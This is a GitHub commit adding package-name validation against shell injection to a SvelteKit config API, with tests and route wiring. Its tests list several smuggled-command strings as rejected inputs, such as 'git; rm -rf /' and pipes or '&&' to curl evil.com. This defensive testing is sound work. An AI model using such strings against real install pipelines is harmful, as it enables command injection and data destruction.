Skip to content

Commit da24946

Browse files
fullstackjamfullstackjam
committed
feat(api): add package name validation to prevent shell injection
- Add validatePackages() function with strict character whitelist - Block shell metacharacters (;|&`$()<>) in package names - Allow @, /, -, _, . for scoped packages and go modules - Validate package types (formula, cask, tap, mas, npm, pip, gem, cargo, go) - Apply validation to POST/PUT /api/configs and snapshot upload - Add 23 test cases covering injection attempts
1 parent c3f5014 commit da24946

File tree

5 files changed

+290
-3
lines changed

5 files changed

+290
-3
lines changed

‎src/lib/server/validation.test.ts‎

Lines changed: 205 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,10 @@
11
import { describe, it, expect } from 'vitest';
2-
import { validateCustomScript, validateDotfilesRepo, validateReturnTo } from './validation';
2+
import {
3+
validateCustomScript,
4+
validateDotfilesRepo,
5+
validateReturnTo,
6+
validatePackages
7+
} from './validation';
38

49
describe('validateCustomScript', () => {
510
it('should accept null or undefined', () => {
@@ -240,3 +245,202 @@ describe('validateReturnTo', () => {
240245
expect(validateReturnTo('/user/my-config')).toBe(true);
241246
});
242247
});
248+
249+
describe('validatePackages', () => {
250+
it('should accept null or undefined', () => {
251+
expect(validatePackages(null).valid).toBe(true);
252+
expect(validatePackages(undefined).valid).toBe(true);
253+
});
254+
255+
it('should accept empty array', () => {
256+
expect(validatePackages([]).valid).toBe(true);
257+
});
258+
259+
it('should accept valid packages', () => {
260+
const packages = [
261+
{ name: 'git', type: 'formula', desc: 'Version control' },
262+
{ name: 'visual-studio-code', type: 'cask', desc: 'Code editor' },
263+
{ name: '@vue/cli', type: 'npm', desc: 'Vue CLI' }
264+
];
265+
const result = validatePackages(packages);
266+
267+
expect(result.valid).toBe(true);
268+
expect(result.error).toBeUndefined();
269+
});
270+
271+
it('should accept packages without description', () => {
272+
const packages = [
273+
{ name: 'git', type: 'formula' },
274+
{ name: 'node', type: 'formula' }
275+
];
276+
const result = validatePackages(packages);
277+
278+
expect(result.valid).toBe(true);
279+
});
280+
281+
it('should accept scoped npm packages', () => {
282+
const packages = [
283+
{ name: '@react/core', type: 'npm' },
284+
{ name: '@babel/preset-env', type: 'npm' }
285+
];
286+
const result = validatePackages(packages);
287+
288+
expect(result.valid).toBe(true);
289+
});
290+
291+
it('should accept packages with slashes (go modules, npm scopes)', () => {
292+
const packages = [
293+
{ name: 'github.com/user/repo', type: 'go' },
294+
{ name: '@org/package', type: 'npm' }
295+
];
296+
const result = validatePackages(packages);
297+
298+
expect(result.valid).toBe(true);
299+
});
300+
301+
it('should reject non-array input', () => {
302+
const result = validatePackages('not an array' as any);
303+
304+
expect(result.valid).toBe(false);
305+
expect(result.error).toContain('must be an array');
306+
});
307+
308+
it('should reject more than 500 packages', () => {
309+
const packages = Array.from({ length: 501 }, (_, i) => ({
310+
name: `pkg${i}`,
311+
type: 'formula'
312+
}));
313+
const result = validatePackages(packages);
314+
315+
expect(result.valid).toBe(false);
316+
expect(result.error).toContain('Maximum 500 packages');
317+
});
318+
319+
it('should reject non-object package entries', () => {
320+
const packages = ['git', 'node'] as any;
321+
const result = validatePackages(packages);
322+
323+
expect(result.valid).toBe(false);
324+
expect(result.error).toContain('must be an object');
325+
});
326+
327+
it('should reject packages without name', () => {
328+
const packages = [{ type: 'formula' }] as any;
329+
const result = validatePackages(packages);
330+
331+
expect(result.valid).toBe(false);
332+
expect(result.error).toContain('must have a string name');
333+
});
334+
335+
it('should reject packages with non-string name', () => {
336+
const packages = [{ name: 123, type: 'formula' }] as any;
337+
const result = validatePackages(packages);
338+
339+
expect(result.valid).toBe(false);
340+
expect(result.error).toContain('must have a string name');
341+
});
342+
343+
it('should reject package name longer than 200 characters', () => {
344+
const packages = [{ name: 'a'.repeat(201), type: 'formula' }];
345+
const result = validatePackages(packages);
346+
347+
expect(result.valid).toBe(false);
348+
expect(result.error).toContain('too long');
349+
});
350+
351+
it('should reject invalid type', () => {
352+
const packages = [{ name: 'git', type: 'invalid' }] as any;
353+
const result = validatePackages(packages);
354+
355+
expect(result.valid).toBe(false);
356+
expect(result.error).toContain('Invalid package type');
357+
});
358+
359+
it('should reject shell injection via semicolon', () => {
360+
const packages = [{ name: 'git; rm -rf /', type: 'formula' }];
361+
const result = validatePackages(packages);
362+
363+
expect(result.valid).toBe(false);
364+
expect(result.error).toContain('Invalid package name');
365+
});
366+
367+
it('should reject shell injection via pipe', () => {
368+
const packages = [{ name: 'git | curl evil.com', type: 'formula' }];
369+
const result = validatePackages(packages);
370+
371+
expect(result.valid).toBe(false);
372+
expect(result.error).toContain('Invalid package name');
373+
});
374+
375+
it('should reject shell injection via backticks', () => {
376+
const packages = [{ name: 'git`whoami`', type: 'formula' }];
377+
const result = validatePackages(packages);
378+
379+
expect(result.valid).toBe(false);
380+
expect(result.error).toContain('Invalid package name');
381+
});
382+
383+
it('should reject shell injection via dollar sign', () => {
384+
const packages = [{ name: 'git$(whoami)', type: 'formula' }];
385+
const result = validatePackages(packages);
386+
387+
expect(result.valid).toBe(false);
388+
expect(result.error).toContain('Invalid package name');
389+
});
390+
391+
it('should reject command substitution', () => {
392+
const packages = [{ name: 'git && curl evil.com', type: 'formula' }];
393+
const result = validatePackages(packages);
394+
395+
expect(result.valid).toBe(false);
396+
expect(result.error).toContain('Invalid package name');
397+
});
398+
399+
it('should reject redirect operators', () => {
400+
const packages = [{ name: 'git > /tmp/pwned', type: 'formula' }];
401+
const result = validatePackages(packages);
402+
403+
expect(result.valid).toBe(false);
404+
expect(result.error).toContain('Invalid package name');
405+
});
406+
407+
it('should reject newline injection', () => {
408+
const packages = [{ name: 'git\ncurl evil.com', type: 'formula' }];
409+
const result = validatePackages(packages);
410+
411+
expect(result.valid).toBe(false);
412+
expect(result.error).toContain('Invalid package name');
413+
});
414+
415+
it('should accept all valid package types', () => {
416+
const types = ['formula', 'cask', 'tap', 'mas', 'npm', 'pip', 'gem', 'cargo', 'go'];
417+
for (const type of types) {
418+
const packages = [{ name: 'valid-package', type }];
419+
const result = validatePackages(packages);
420+
421+
expect(result.valid).toBe(true);
422+
}
423+
});
424+
425+
it('should reject description longer than 500 characters', () => {
426+
const packages = [
427+
{
428+
name: 'git',
429+
type: 'formula',
430+
desc: 'a'.repeat(501)
431+
}
432+
];
433+
const result = validatePackages(packages);
434+
435+
expect(result.valid).toBe(false);
436+
expect(result.error).toContain('description');
437+
});
438+
439+
it('should reject non-string description', () => {
440+
const packages = [{ name: 'git', type: 'formula', desc: 123 }] as any;
441+
const result = validatePackages(packages);
442+
443+
expect(result.valid).toBe(false);
444+
expect(result.error).toContain('description');
445+
});
446+
});

‎src/lib/server/validation.ts‎

Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -88,3 +88,74 @@ export function validateReturnTo(path: string | null | undefined): boolean {
8888
// Allow path + optional query string with safe characters
8989
return /^\/[a-zA-Z0-9\-_/]*(\?[a-zA-Z0-9\-_=&%]*)?$/.test(path);
9090
}
91+
92+
interface Package {
93+
name: string;
94+
type: string;
95+
desc?: string;
96+
}
97+
98+
/** Validates packages array: prevents shell injection in package names.
99+
* Package names must match standard package manager formats (alphanumeric, hyphens, underscores, dots, slashes for scoped packages).
100+
* Types must be: formula, cask, tap, mas, npm, pip, gem, cargo, go.
101+
* Maximum 500 packages per config. */
102+
export function validatePackages(packages: unknown): ValidationResult {
103+
if (!packages) {
104+
return { valid: true };
105+
}
106+
107+
if (!Array.isArray(packages)) {
108+
return { valid: false, error: 'Packages must be an array' };
109+
}
110+
111+
if (packages.length > 500) {
112+
return { valid: false, error: 'Maximum 500 packages allowed' };
113+
}
114+
115+
const validTypes = ['formula', 'cask', 'tap', 'mas', 'npm', 'pip', 'gem', 'cargo', 'go'];
116+
117+
for (let i = 0; i < packages.length; i++) {
118+
const pkg = packages[i];
119+
120+
if (typeof pkg !== 'object' || pkg === null) {
121+
return { valid: false, error: `Package at index ${i} must be an object` };
122+
}
123+
124+
const { name, type, desc } = pkg as Package;
125+
126+
if (!name || typeof name !== 'string') {
127+
return { valid: false, error: `Package at index ${i} must have a string name` };
128+
}
129+
130+
if (name.length > 200) {
131+
return { valid: false, error: `Package name too long at index ${i}` };
132+
}
133+
134+
if (!/^[@a-zA-Z0-9._\/-]+$/.test(name)) {
135+
return {
136+
valid: false,
137+
error: `Invalid package name at index ${i}: "${name}". Only alphanumeric, hyphens, underscores, dots, @ and / allowed.`
138+
};
139+
}
140+
141+
if (!type || typeof type !== 'string') {
142+
return { valid: false, error: `Package at index ${i} must have a string type` };
143+
}
144+
145+
if (!validTypes.includes(type)) {
146+
return {
147+
valid: false,
148+
error: `Invalid package type at index ${i}: "${type}". Must be one of: ${validTypes.join(', ')}`
149+
};
150+
}
151+
152+
if (desc !== undefined && (typeof desc !== 'string' || desc.length > 500)) {
153+
return {
154+
valid: false,
155+
error: `Package description at index ${i} must be a string (max 500 chars)`
156+
};
157+
}
158+
}
159+
160+
return { valid: true };
161+
}

‎src/routes/api/configs/+server.ts‎

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
import { json } from '@sveltejs/kit';
22
import type { RequestHandler } from './$types';
33
import { getCurrentUser, slugify, generateId } from '$lib/server/auth';
4-
import { validateCustomScript, validateDotfilesRepo } from '$lib/server/validation';
4+
import { validateCustomScript, validateDotfilesRepo, validatePackages } from '$lib/server/validation';
55
import { checkRateLimit, getRateLimitKey, RATE_LIMITS } from '$lib/server/rate-limit';
66

77
export const GET: RequestHandler = async ({ platform, cookies, request }) => {
@@ -66,6 +66,9 @@ export const POST: RequestHandler = async ({ platform, cookies, request }) => {
6666
return json({ error: 'Rate limit exceeded' }, { status: 429, headers: { 'Retry-After': String(Math.ceil(rlW.retryAfter! / 1000)) } });
6767
}
6868

69+
const pv = validatePackages(packages);
70+
if (!pv.valid) return json({ error: pv.error }, { status: 400 });
71+
6972
if (custom_script) {
7073
const sv = validateCustomScript(custom_script);
7174
if (!sv.valid) return json({ error: sv.error }, { status: 400 });

‎src/routes/api/configs/[slug]/+server.ts‎

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
import { json } from '@sveltejs/kit';
22
import type { RequestHandler } from './$types';
33
import { getCurrentUser, slugify } from '$lib/server/auth';
4-
import { validateCustomScript, validateDotfilesRepo } from '$lib/server/validation';
4+
import { validateCustomScript, validateDotfilesRepo, validatePackages } from '$lib/server/validation';
55
import { checkRateLimit, getRateLimitKey, RATE_LIMITS } from '$lib/server/rate-limit';
66

77
export const GET: RequestHandler = async ({ platform, cookies, params, request }) => {
@@ -91,6 +91,11 @@ export const PUT: RequestHandler = async ({ platform, cookies, params, request }
9191
return json({ error: 'Rate limit exceeded' }, { status: 429, headers: { 'Retry-After': String(Math.ceil(rlW.retryAfter! / 1000)) } });
9292
}
9393

94+
if (packages !== undefined) {
95+
const pv = validatePackages(packages);
96+
if (!pv.valid) return json({ error: pv.error }, { status: 400 });
97+
}
98+
9499
if (custom_script !== undefined && custom_script !== null && custom_script !== '') {
95100
const sv = validateCustomScript(custom_script);
96101
if (!sv.valid) return json({ error: sv.error }, { status: 400 });

‎src/routes/api/configs/from-snapshot/+server.ts‎

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
import { json } from '@sveltejs/kit';
22
import type { RequestHandler } from './$types';
33
import { getCurrentUser, slugify, generateId } from '$lib/server/auth';
4+
import { validatePackages } from '$lib/server/validation';
45
import { checkRateLimit, getRateLimitKey, RATE_LIMITS } from '$lib/server/rate-limit';
56

67
export const POST: RequestHandler = async ({ platform, cookies, request }) => {
@@ -35,6 +36,9 @@ export const POST: RequestHandler = async ({ platform, cookies, request }) => {
3536
const packages = snapshot.catalog_match?.matched || [];
3637
const base_preset = snapshot.matched_preset || 'developer';
3738

39+
const pv = validatePackages(packages);
40+
if (!pv.valid) return json({ error: pv.error }, { status: 400 });
41+
3842
if (config_slug) {
3943
const existing = await env.DB.prepare(
4044
'SELECT * FROM configs WHERE user_id = ? AND slug = ?'

0 commit comments

Comments
 (0)